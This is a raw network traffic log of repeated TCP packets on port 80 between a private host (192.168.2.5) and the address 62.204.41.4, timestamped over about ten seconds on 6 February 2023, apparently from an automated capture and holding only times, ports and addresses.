Feb 6, 2023 14:18:06.240117073 CET	49979	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.240679026 CET	49980	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.303713083 CET	80	49979	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.304155111 CET	80	49980	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.304245949 CET	49979	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.304275990 CET	49980	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.304827929 CET	49980	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.365093946 CET	80	49980	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.367547035 CET	80	49980	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.367736101 CET	49980	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.473181009 CET	49980	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.474124908 CET	49981	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.533813953 CET	80	49980	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.533927917 CET	49980	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.534441948 CET	80	49981	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.534554005 CET	49981	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.537805080 CET	49981	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.599334002 CET	80	49981	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.602508068 CET	80	49981	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.602632999 CET	49981	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.708213091 CET	49981	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.709114075 CET	49982	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.768894911 CET	80	49981	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.768999100 CET	49981	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.769452095 CET	80	49982	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.771720886 CET	49982	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.788989067 CET	49982	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.849338055 CET	80	49982	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.852390051 CET	80	49982	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.855730057 CET	49982	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.971553087 CET	49983	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.972691059 CET	49982	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.033020020 CET	80	49982	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.033065081 CET	80	49983	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.033198118 CET	49983	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.033596039 CET	49983	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.035772085 CET	49982	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.094907999 CET	80	49983	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.099112988 CET	80	49983	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.099262953 CET	49983	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.208214045 CET	49983	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.208961964 CET	49984	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.271323919 CET	80	49984	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.271435022 CET	49984	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.272104025 CET	80	49983	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.272187948 CET	49983	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.273531914 CET	49984	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.334327936 CET	80	49984	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.337085009 CET	80	49984	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.337187052 CET	49984	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.454543114 CET	49984	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.454624891 CET	49985	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.515178919 CET	80	49985	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.515413046 CET	80	49984	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.515609980 CET	49984	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.516140938 CET	49985	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.516140938 CET	49985	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.576524973 CET	80	49985	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.578883886 CET	80	49985	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.579015017 CET	49985	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.692558050 CET	49985	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.693397999 CET	49986	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.762300014 CET	80	49985	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.762357950 CET	80	49986	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.762494087 CET	49985	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.762546062 CET	49986	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.762954950 CET	49986	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.824271917 CET	80	49986	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.826908112 CET	80	49986	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:07.827116013 CET	49986	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.942643881 CET	49986	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:07.944364071 CET	49987	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.003860950 CET	80	49987	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.004300117 CET	80	49986	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.004373074 CET	49986	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.004990101 CET	49987	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.011491060 CET	49987	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.070787907 CET	80	49987	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.074615002 CET	80	49987	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.074825048 CET	49987	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.194608927 CET	49987	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.209014893 CET	49988	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.254157066 CET	80	49987	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.259881020 CET	49987	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.269649982 CET	80	49988	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.269880056 CET	49988	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.271365881 CET	49988	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.332041979 CET	80	49988	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.335114002 CET	80	49988	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.335299015 CET	49988	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.442753077 CET	49988	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.443440914 CET	49989	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.503072023 CET	80	49989	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.503268003 CET	49989	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.503501892 CET	80	49988	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.503592968 CET	49988	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.504518032 CET	49989	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.564099073 CET	80	49989	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.566998959 CET	80	49989	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.567075968 CET	49989	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.676945925 CET	49989	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.678751945 CET	49990	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.736717939 CET	80	49989	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.736896992 CET	49989	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.739363909 CET	80	49990	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.739973068 CET	49990	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.739973068 CET	49990	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.800668955 CET	80	49990	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.803266048 CET	80	49990	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.804981947 CET	49990	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.914849043 CET	49990	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.915537119 CET	49991	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.975545883 CET	80	49990	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.975769043 CET	49990	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.975836992 CET	80	49991	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:08.975951910 CET	49991	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:08.977328062 CET	49991	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.037870884 CET	80	49991	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.042072058 CET	80	49991	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.042259932 CET	49991	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.146267891 CET	49991	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.147274017 CET	49992	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.206826925 CET	80	49991	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.206914902 CET	49991	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.209474087 CET	80	49992	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.209619045 CET	49992	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.210071087 CET	49992	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.272217989 CET	80	49992	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.275585890 CET	80	49992	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.275667906 CET	49992	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.384912014 CET	49992	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.385641098 CET	49993	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.446121931 CET	80	49993	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.446342945 CET	49993	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.446811914 CET	49993	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.447438002 CET	80	49992	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.447587013 CET	49992	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.507378101 CET	80	49993	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.510627985 CET	80	49993	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.510756969 CET	49993	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.616246939 CET	49993	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.616945028 CET	49994	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.676888943 CET	80	49993	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.676979065 CET	49993	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.677293062 CET	80	49994	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.677392006 CET	49994	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.678155899 CET	49994	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.738662004 CET	80	49994	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.741938114 CET	80	49994	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.742177963 CET	49994	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.865828037 CET	49994	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.866724968 CET	49995	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.927052021 CET	80	49994	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.927150011 CET	49994	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.928860903 CET	80	49995	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.928973913 CET	49995	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.929475069 CET	49995	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:09.991794109 CET	80	49995	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.995454073 CET	80	49995	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:09.995534897 CET	49995	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.099956989 CET	49995	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.100810051 CET	49996	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.161537886 CET	80	49996	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.161653996 CET	49996	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.162120104 CET	49996	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.162245989 CET	80	49995	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.162338018 CET	49995	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.222527027 CET	80	49996	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.226402044 CET	80	49996	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.226566076 CET	49996	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.337090015 CET	49996	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.337886095 CET	49997	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.397752047 CET	80	49996	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.397856951 CET	49996	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.399492025 CET	80	49997	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.399619102 CET	49997	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.399966002 CET	49997	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.461442947 CET	80	49997	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.464658976 CET	80	49997	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.464840889 CET	49997	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.567910910 CET	49997	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.569057941 CET	49998	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.629376888 CET	80	49998	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.629496098 CET	49998	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.629659891 CET	80	49997	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.629722118 CET	49997	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.629964113 CET	49998	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.690006018 CET	80	49998	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.693331003 CET	80	49998	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.693417072 CET	49998	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.832285881 CET	49998	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.892649889 CET	80	49998	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:10.894233942 CET	49998	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:10.995548964 CET	49999	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.056406021 CET	80	49999	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:11.059344053 CET	49999	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.060496092 CET	49999	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.121162891 CET	80	49999	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:11.126276970 CET	80	49999	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:11.132317066 CET	49999	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.270375013 CET	49999	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.271100044 CET	50000	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.331254005 CET	80	49999	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:11.331785917 CET	49999	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.332339048 CET	80	50000	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:11.332542896 CET	50000	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.377142906 CET	50000	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.438463926 CET	80	50000	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:11.442153931 CET	80	50000	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:11.443485022 CET	50000	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.618204117 CET	50001	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.618413925 CET	50000	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.679670095 CET	80	50001	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:11.679708004 CET	80	50000	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:11.679888964 CET	50000	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.680197954 CET	50001	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.711180925 CET	50001	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:11.772582054 CET	80	50001	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:11.775501966 CET	80	50001	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:11.775686979 CET	50001	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:12.316467047 CET	50001	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:12.316562891 CET	50002	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:12.378842115 CET	80	50002	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:12.379051924 CET	50002	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:12.380561113 CET	80	50001	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:12.380675077 CET	50001	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:12.405675888 CET	50002	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:12.466837883 CET	80	50002	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:12.469245911 CET	80	50002	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:12.469433069 CET	50002	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:12.641479015 CET	50003	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:12.641498089 CET	50002	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:12.701391935 CET	80	50002	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:12.701586962 CET	50002	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:12.703475952 CET	80	50003	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:12.703681946 CET	50003	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:13.453553915 CET	50003	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:13.515680075 CET	80	50003	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:13.520159006 CET	80	50003	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:13.520270109 CET	50003	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:13.840450048 CET	50003	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:13.841193914 CET	50004	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:13.902354002 CET	80	50003	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:13.902523994 CET	50003	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:13.903490067 CET	80	50004	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:13.903630018 CET	50004	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:13.908823967 CET	50004	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:13.971352100 CET	80	50004	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:13.973970890 CET	80	50004	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:13.974154949 CET	50004	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.187803984 CET	50004	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.188520908 CET	50005	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.250403881 CET	80	50004	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.250590086 CET	50004	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.250760078 CET	80	50005	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.250859976 CET	50005	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.255721092 CET	50005	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.318154097 CET	80	50005	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.322971106 CET	80	50005	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.323072910 CET	50005	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.427438974 CET	50005	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.428118944 CET	50006	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.489384890 CET	80	50006	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.489510059 CET	50006	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.489864111 CET	50006	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.489886999 CET	80	50005	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.490125895 CET	50005	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.551090956 CET	80	50006	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.553904057 CET	80	50006	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.554939985 CET	50006	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.671020985 CET	50006	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.671740055 CET	50007	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.732414961 CET	80	50007	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.732466936 CET	80	50006	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.732631922 CET	50006	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.733104944 CET	50007	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.733546972 CET	50007	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.793997049 CET	80	50007	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.796650887 CET	80	50007	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.796830893 CET	50007	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.915781975 CET	50007	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.916501999 CET	50008	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.976613998 CET	80	50007	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.976703882 CET	50007	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.976907969 CET	80	50008	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:14.977129936 CET	50008	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:14.977536917 CET	50008	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.037914991 CET	80	50008	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.043209076 CET	80	50008	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.047271013 CET	50008	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.161905050 CET	50008	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.162852049 CET	50009	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.222718954 CET	80	50008	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.223608017 CET	50008	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.225066900 CET	80	50009	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.225166082 CET	50009	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.225596905 CET	50009	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.287758112 CET	80	50009	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.291661024 CET	80	50009	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.294775009 CET	50009	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.412192106 CET	50009	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.413106918 CET	50010	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.474636078 CET	80	50009	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.474766016 CET	50009	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.474807978 CET	80	50010	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.474909067 CET	50010	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.475260019 CET	50010	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.536814928 CET	80	50010	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.539522886 CET	80	50010	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.539633036 CET	50010	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.646476984 CET	50010	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.647434950 CET	50011	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.708337069 CET	80	50010	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.708534002 CET	50010	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.710012913 CET	80	50011	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.710206032 CET	50011	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.710647106 CET	50011	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.773230076 CET	80	50011	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.775943995 CET	80	50011	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.776118994 CET	50011	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.891942978 CET	50012	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.891964912 CET	50011	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.954529047 CET	80	50012	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.954579115 CET	80	50011	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:15.954771996 CET	50011	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.955152988 CET	50012	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:15.955152988 CET	50012	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.021119118 CET	80	50012	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.023773909 CET	80	50012	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.023953915 CET	50012	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.130477905 CET	50012	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.131135941 CET	50013	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.192502975 CET	80	50013	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.192778111 CET	50013	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.192852974 CET	80	50012	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.192949057 CET	50012	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.193100929 CET	50013	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.254249096 CET	80	50013	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.259099960 CET	80	50013	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.259320974 CET	50013	80	192.168.2.5	62.204.41.4
